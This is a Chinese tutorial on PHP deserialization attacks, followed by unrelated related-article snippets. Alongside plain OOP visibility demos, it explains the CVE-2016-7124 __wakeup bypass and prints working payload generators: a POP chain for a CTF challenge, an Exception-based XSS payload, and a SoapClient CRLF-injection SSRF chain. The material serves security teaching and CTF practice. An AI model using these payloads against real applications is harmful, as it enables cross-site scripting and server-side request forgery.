Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征
知识点:
1、PHP-反序列化-属性类型&显示特征
2、PHP-反序列化-CVE绕过&字符串逃逸
3、PHP-反序列化-原生类生成&利用&配合
补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔术方法需要在类中显式地定义和实现,否则默认情况下不会被调用。当 PHP 在特定情况下需要调用某个魔术方法时(比如创建对象、访问属性、调用方法等),它会检查类是否实现了相应的魔术方法。如果类中没有定义该魔术方法,PHP 将不会触发该方法的自动调用。
PHP-属性类型-共有&私有&保护
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
本地演示序列化数据显示
demo.php
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{public $name="xiaodi";private $age="29";protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));
protect 修饰的属性
父类自己访问受保护属性:类内设置接口,类外创建对象访问接口从而访问属性
class ParentClass {protected $protectedProperty = "Protected Property";public function getProtectedProperty() {return $this->protectedProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getProtectedProperty(); // 输出: Protected Property
子类访问父类的受保护属性:子类内设置接口,类外子类创建对象访问接口从而访问属性
class ParentClass {protected $protectedProperty = "Protected Property";
}class ChildClass extends ParentClass {public function getProtectedPropertyFromParent() {return $this->protectedProperty;}
}$childObj = new ChildClass();
echo $childObj->getProtectedPropertyFromParent(); // 输出: Protected Property
类外访问父类的受保护属性
class ParentClass {protected $protectedProperty = "Protected Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的受保护属性
echo $parentObj->protectedProperty; // 报错: Fatal error: Uncaught Error: Cannot access protected property
类内访问就是在类内的方法访问,类外访问就是创建对象调用属性的方式
private 修饰的属性
父类访问自己的私有属性:类内设置接口,类外创建对象访问接口从而访问属性
class ParentClass {private $privateProperty = "Private Property";public function getPrivateProperty() {return $this->privateProperty;}
}$parentObj = new ParentClass();
echo $parentObj->getPrivateProperty(); // 输出: Private Property
子类无法直接访问父类的私有属性:子类内设置接口,类外子类创建对象也不能访问接口从而访问属性
class ParentClass {private $privateProperty = "Private Property";
}class ChildClass extends ParentClass {public function getPrivatePropertyFromParent() {// 尝试访问父类的私有属性return $this->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property}
}$childObj = new ChildClass();
echo $childObj->getPrivatePropertyFromParent();
类外无法直接访问父类的私有属性
class ParentClass {private $privateProperty = "Private Property";
}$parentObj = new ParentClass();
// 尝试直接访问父类的私有属性
echo $parentObj->privateProperty; // 报错: Fatal error: Uncaught Error: Cannot access private property
protect 修饰的方法
父类自己访问受保护方法:类内设置接口,类外创建对象访问接口从而访问方法
class ParentClass {protected function protectedMethod() {return "Protected Method";}public function callProtectedMethod() {return $this->protectedMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callProtectedMethod(); // 输出: Protected Method
子类访问父类的受保护方法:子类内设置接口,类外子类创建对象访问接口从而访问方法
class ParentClass {protected function protectedMethod() {return "Protected Method";}
}class ChildClass extends ParentClass {public function callProtectedMethodFromParent() {return $this->protectedMethod();}
}$childObj = new ChildClass();
echo $childObj->callProtectedMethodFromParent(); // 输出: Protected Method
类外无法直接访问父类的受保护方法:
class ParentClass {protected function protectedMethod() {return "Protected Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的受保护方法
echo $parentObj->protectedMethod(); // 报错: Fatal error: Uncaught Error: Call to protected method
private 修饰的方法
父类访问自己的私有方法:类内设置接口,类外创建对象访问接口调用方法
class ParentClass {private function privateMethod() {return "Private Method";}public function callPrivateMethod() {return $this->privateMethod();}
}$parentObj = new ParentClass();
echo $parentObj->callPrivateMethod(); // 输出: Private Method
子类无法直接访问父类的私有方法
class ParentClass {private function privateMethod() {return "Private Method";}
}class ChildClass extends ParentClass {public function callPrivateMethodFromParent() {// 尝试访问父类的私有方法return $this->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method}
}$childObj = new ChildClass();
echo $childObj->callPrivateMethodFromParent();
类外无法直接访问父类的私有方法
class ParentClass {private function privateMethod() {return "Private Method";}
}$parentObj = new ParentClass();
// 尝试直接调用父类的私有方法
echo $parentObj->privateMethod(); // 报错: Fatal error: Uncaught Error: Call to private method
总结
概念约定:
- 什么是类内访问:通过类内的方法访问属性/方法。
- 什么是类外访问:类外创建对象,直接访问属性/方法
protect 访问权限:只有子类,父类自己可以类内访问到,类外不行
- protect 修饰的属性:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而访问属性
- protect 修饰的方法:类内设置访问属性的接口(public),类外的子类,本类创建对象调用接口从而调用方法
private 访问权限:只有父类自己可以类内访问,类外不行
- private 修饰的属性:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问私有属性
- private 修饰的方法:类内设置接口,只有本类自己可以通过创建对象访问类内接口从而访问类内私有方法
PHP-绕过漏洞-CVE&字符串逃逸
CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
CVE-2016-7124-本地Demo
__wakeup():会在反序列化后调用
代码如下:
<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}
$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>
- __construct:Test类创建对象调用
- __wakeup:反序列化数据调用
- __destruct:销毁对象
- __destruct:销毁对象
绕过__wakeup():修改属性数量即可
说明:
- 反序列化没用调用__construct()
- 属性数错误就会绕过__wakeup()调用
- 只有一个__destruct()函数,说明没有对象创建成功
再做个实验:PHP属性变为私有,生成序列化数据,在用共有属性的类反序列化它
<?php//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{public $sex;public $name;public $age;public function __construct($name, $age, $sex){echo "__construct被调用!<br>";}public function __wakeup(){echo "__wakeup()被调用<br>";}public function __destruct(){echo "__destruct()被调用<br>";}}$s = unserialize($_GET['x']);
echo $s;
?>
类私有属性:O:4:"Test":3:{s:9:"Testsex";N;s:10:"Testname";N;s:9:"Testage";N;}
类共有属性:O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
用私有属性数据反序列化共有属性类
用共有属性数据反序列化私有属性类,权限可以由大到小
[极客大挑战 2019]PHP
下载源码分析
反序列化触发调用__wakeup 强制username值
利用语言漏洞绕过 CVE-2016-7124,修改满足漏洞条件触发
POP:
<?phpclass Name
{private $username = 'admin';private $password = '100';
}$n = serialize(new name());
echo $n,"\n";
echo urlencode($n);?>
字符串逃逸
字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php
PHP-原生类Tips-获取&利用&配合
参考案例:https://www.anquanke.com/post/id/264823
原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。
PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的
生成原生类脚本代码:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}
}
注:如果对方环境没有开启相关模块功能,那么是没用的。
本地Demo-XSS
测试代码:
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
思路:
1.先看能触发的魔术方法-echo能够触发__toString方法
2.代码中没写魔术方法调用逻辑,那就需要用到原生类
3.使用魔术方法的原生类去利用
4.获取魔术方法的原生类(使用脚本去生成,生成多少与当前环境模块开关有关
默认的原生类生成脚本有太多原生类和方法了,这里只保留__toString方法,生成其有的原生类)
无代码通过原生类Exception,Exception使用查询编写利用
通过访问触发输出产生XSS漏洞,POP链:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>
CTFSHOW-Web259
在首页及flag.php都没看到有魔术方法
调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)
无代码通过原生类SoapClient(只生成_call方法的原生类)
SoapClient使用查询编写利用
构造pop链
<?php$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form- urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));echo urlencode(serialize($client));
?>
通过访问本地Flag.php获取Flag
相关文章:
Day61:WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征
知识点: 1、PHP-反序列化-属性类型&显示特征 2、PHP-反序列化-CVE绕过&字符串逃逸 3、PHP-反序列化-原生类生成&利用&配合 补充:如果在 PHP 类中没有实现某个魔术方法,那么该魔术方法在相应的情况下不会被自动触发。PHP 的魔…...
【开源】SpringBoot框架开发不良邮件过滤系统
目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统用户模块2.2 收件箱模块2.3 发件箱模块2.4 垃圾箱模块2.5 回收站模块2.6 邮箱过滤设置模块 三、实体类设计3.1 系统用户3.2 邮件3.3 其他实体 四、系统展示五、核心代码5.1 查询收件箱档案5.2 查询回收站档案5.3 新…...
详细教---用Django封装写好的模型
本次我们要用自己写好的热销词条爬虫代码来演示如何用Django把我们写好的模型封装。 第一步:代码准备 热搜词条搜集代码: import requests from lxml import etreeurl "https://tophub.today/n/KqndgxeLl9" headers{User-Agent: Mozilla/5.…...
设计模式 抽象工厂
01.人类接口 public interface Human { //首先定义什么是人类//人是愉快的,会笑的,本来是想用smile表示,想了一下laugh更合适,好长时间没有大笑了; public void laugh(); //人类还会哭,代表痛苦 public v…...
OPTIONS请求(跨域预检查)
目录 一、什么是OPTIONS请求?二、简单请求、复杂请求三、特定的请求头、响应头 一、什么是OPTIONS请求? OPTIONS 请求方式是 HTTP 协议中的一种,主要用于 从响应头中获取服务器支持的HTTP请求方式。 OPTIONS 请求方式是 浏览级行为…...
游戏反云手机检测方案
游戏风险环境,是指独立于原有设备或破坏设备原有系统的环境。常见的游戏风险环境有:云手机、虚拟机、虚拟框架、iOS越狱、安卓设备root等。 这类风险环境可以为游戏外挂、破解提供所需的高级别设备权限,当游戏处于这些风险环境下,…...
HarmonyOS NEXT应用开发之动态路由
介绍 本示例将介绍如何使用动态路由跳转到模块中的页面,以及如何使用动态import的方式加载模块 使用说明 通过动态import的方式,在需要进入页面时加载对应的模块。配置动态路由,通过WrapBuilder接口,动态创建页面并跳转。动态i…...
wayland(xdg_wm_base) + egl + opengles 使用 Assimp 加载带光照信息的材质文件Mtl 实现光照贴图的最简实例(十七)
文章目录 前言一、3d 立方体 model 属性相关文件1. cube1.obj2. cube1.Mtl3. 纹理图片 cordeBouee4.jpg二、实现光照贴图的效果1. 依赖库和头文件1.1 assimp1.2 stb_image.h2. egl_wayland_obj_cube1.cpp3. Matrix.h 和 Matrix.cpp4. xdg-shell-client-protocol.h 和 xdg-shell…...
【NLP笔记】Transformer
文章目录 基本架构EmbeddingEncoderself-attentionMulti-Attention残差连接LayerNorm DecoderMask&Cross Attention线性层&softmax损失函数 论文链接: Attention Is All You Need 参考文章: 【NLP】《Attention Is All You Need》的阅读笔记 一…...
【Unity】程序创建Mesh(二)MeshRenderer、光照、Probes探针、UV信息、法线信息
文章目录 接上文MeshRenderer(网格渲染器)Materials(材质)Material和Mesh对应Lighting光照Lightmapping材质中的光照 光源类型阴影全局光照Probes(探针)Ray Tracing(光线追踪)Additi…...
每日一练:LeeCode-167. 两数之和 II - 输入有序数组【双指针】
给你一个下标从 1 开始的整数数组 numbers ,该数组已按 非递减顺序排列 ,请你从数组中找出满足相加之和等于目标数 target 的两个数。如果设这两个数分别是 numbers[index1] 和 numbers[index2] ,则 1 < index1 < index2 < numbers.…...
性能优化(CPU优化技术)-NEON指令详解
原文来自ARM SIMD 指令集:NEON 简介 🎬个人简介:一个全栈工程师的升级之路! 📋个人专栏:高性能(HPC)开发基础教程 🎀CSDN主页 发狂的小花 🌄人生秘诀…...
服务器硬件基础知识和云服务器的选购技巧
概述 服务器硬件基础知识涵盖了构成服务器的关键硬件组件和技术,这些组件和技术对于服务器的性能、稳定性和可用性起着至关重要的作用。其中包括中央处理器(CPU)作为服务器的计算引擎,内存(RAM)用于数据临…...
深度学习PyTorch 之 transformer-中文多分类
transformer的原理部分在前面基本已经介绍完了,接下来就是代码部分,因为transformer可以做的任务有很多,文本的分类、时序预测、NER、文本生成、翻译等,其相关代码也会有些不同,所以会分别进行介绍 但是对于不同的任务…...
STC 51单片机烧录程序遇到一直检测单片机的问题
准备工作 一,需要一个USB-TTL的下载器 ,并安装好对应的驱动程序 二、对应的下载软件,stc软件需要官方的软件(最好是最新的,个人遇到旧的下载软件出现问题) 几种出现一直检测的原因 下载软件图标…...
后端系统开发之——接口参数校验
今天难得双更,大家点个关注捧个场 原文地址:后端系统开发之——接口参数校验 - Pleasure的博客 下面是正文内容: 前言 在上一篇文章中提到了接口的开发,虽然是完成了,但还是缺少一些细节——传入参数的校验。 即用户…...
IDEA 配置阿里规范检测
IDEA中安装插件 配置代码风格检查规范 使用代码风格检测 在代码类中,右键 然后会给出一些不符合规范的修改建议: 保存代码时自动格式化代码 安装插件: 配置插件:...
数据仓库系列总结
一、数据仓库架构 1、数据仓库的概念 数据仓库(Data Warehouse)是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合,用于支持管理决策。 数据仓库通常包含多个来源的数据,这些数据按照主题进行组织和存储&#x…...
gitlab runner没有内网的访问权限应该怎么解决
如果你的GitLab Runner没有内网访问权限,但你需要访问内部资源(如私有仓库或其他服务),你可以考虑以下几种方法: VPN 或 SSH 隧道: 在允许的情况下,通过VPN或SSH隧道连接到内部网络。这将允许Gi…...
el-tree 设置默认展开指定层级
el-tree默认关闭所有选项,但是有添加或者编辑删除的情况下,需要刷新接口,此时会又要关闭所有选项; 需求:在编辑时、添加、删除 需要将该内容默认展开 <el-tree :default-expanded-keys"expandedkeys":da…...
python便民超市管理系统flask-django-nodejs-php
随着人们生活节奏的加快,以前传统的购物方式发生了巨大的改变,以前一个超市要想经营好自己的门店,每天都要忙着记账出账,尤其是出库入库统计,如果忙中出乱,可能导致今天所有的营业流水,要重新换…...
HarmonyOS — BusinessError 不能被 JSON.stringify转换
在鸿蒙中BusinessError 继承于Error,而在JavaScript(以及TypeScript,因为它是JavaScript的超集)中,Error 对象包含一些不能被 JSON.stringify 直接序列化的属性。JSON.stringify 方法会将一个JavaScript对象或者值转换…...
JupyterNotebook 如何切换使用的虚拟环境kernel
在Jupyter Notebook中,如果需要修改使用的虚拟环境Kernel: 首先,需要确保虚拟环境已经安装conda上【conda基本操作】 打开Jupyter Notebook。 在Jupyter Notebook的顶部菜单中,选择 “New” 在弹出的窗口中,列出了…...
预防GPT-3和其他复杂语言模型中的“幻觉”
标题:预防GPT-3和其他复杂语言模型中的“幻觉” 正文: “假新闻”的一个显著特征是它经常在事实正确信息的环境中呈现虚假信息,通过一种文学渗透的方式,使不真实的数据获得感知权威,这是半真半假力量令人担忧的展示。…...
从源码解析AQS
前置概念 要彻底了解AQS的底层实现就必须要了解一下线程相关的知识。 包括voliatevoliate 我们使用翻译软件翻译一下volatile,会发现它有以下几个意思:易变的;无定性的;无常性的;可能急剧波动的;不稳定的;易恶化的;易挥发的;易发散的。这也正式使用vola…...
基于Spring Boot的云上水果超市的设计与实现
摘 要 伴随着我国社会的发展,人民生活质量日益提高。于是对云上水果超市进行规范而严格是十分有必要的,所以许许多多的信息管理系统应运而生。此时单靠人力应对这些事务就显得有些力不从心了。所以本论文将设计一套云上水果超市,帮助商家进行…...
游戏引擎中的动画基础
一、动画技术简介 视觉残留理论 - 影像在我们的视网膜上残留1/24s。 游戏中动画面临的挑战: 交互:游戏中的玩家动画需要和场景中的物体进行交互。实时:最慢需要在1/30秒内算完所有的场景渲染和动画数据。(可以用动画压缩解决&am…...
springboot3快速入门案例2024最新版
前边 springboot3 系统要求 技术&工具版本(or later)maven3.6.3 or later 3.6.3 或更高版本Tomcat10.0Servlet9.0JDK17 SpringBoot的主要目标是: 为所有 Spring 开发提供更快速、可广泛访问的入门体验。开箱即用,设置合理的…...
软考 系统架构设计师系列知识点之系统性能(1)
所属章节: 第2章. 计算机系统基础知识 第9节. 系统性能 系统性能是一个系统提供给用户的所有性能指标的集合。它既包括硬件性能(如处理器主频、存储器容量、通信带宽等)和软件性能(如上下文切换、延迟、执行时间等)&a…...
Trent-FPGA硬件设计课程
本课程涵盖FPGA硬件设计的基础概念和实践应用。学生将学习Verilog语言编程、数字电路设计原理、FPGA架构和开发工具的使用。通过项目实践,掌握FPGA设计流程和调试技巧,为硬件加速和嵌入式系统开发打下坚实基础。 课程大小:4.3G 课程下载&am…...
0基础如何快速做网站/常州seo博客
Apacheservlet本文只讨论如何在Windows NT 4.0上安装ApacheServletJsp。本文中的配置情况如下:Windows NT 4.0jdk1_2_2-001-win.exeapache_1_3_12_win32.exeApacheModuleJServ.dlltomcat.zip(3.0)一. 软件下载JDKhttp://java.sun.com/products/jdk/1.2/Apache Serve…...
互联网公司怎么找网站建设客户/2023年7月最新疫情
阿里妹导读:好的系统架构离不开好的接口设计,因此,真正懂接口设计的人往往是软件设计队伍中的稀缺型人才。为什么在接口制定标准中说:一流的企业做标准,二流的企业做品牌,三流的企业做产品?依赖…...
psd设计网站模板/今天的最新消息新闻
僵尸进程:会占用系统进程PID号(每个系统PID数量都是有限的) 一个进程任务执行完就死亡了 但是操作系统不会立即将其清理 为的是 开启这个子进程的父进程可以访问到这个子进程的信息 这样的 任务完成的 但是没有被操作系…...
海南网站建设哪家好/怎么做属于自己的网站
我们先来看看几种常见的退出方法(不优雅的方式) 一、容器式 建立一个全局容器,把所有的Activity存储起来,退出时循环遍历finish所有Activity import java.util.ArrayList; import java.util.List;import android.app.Activity; im…...
京东商城网站建设/甘肃搜索引擎网络优化
东北大学计算机组成原理课程设计,用COP2000实现乘法器和除法器。计算机组成原理课程设计报告班级:07计算机 06 班 姓名: 杨佳学 学号: 20073069完成时间: 2009年12月25日一、课程设计目的1.在实验机上设计实现机器指令…...
长沙企业推广/谷歌seo推广招聘
37个适合做以博养站的博客 大家推荐些权重比较高且搜索引擎友好的博客。<a target"_blank"href"http://www.chegu.net/"><span style"COLOR: black">刹车鼓</span></a>http://blog.hexun.com/ 和讯 博客 pr:…...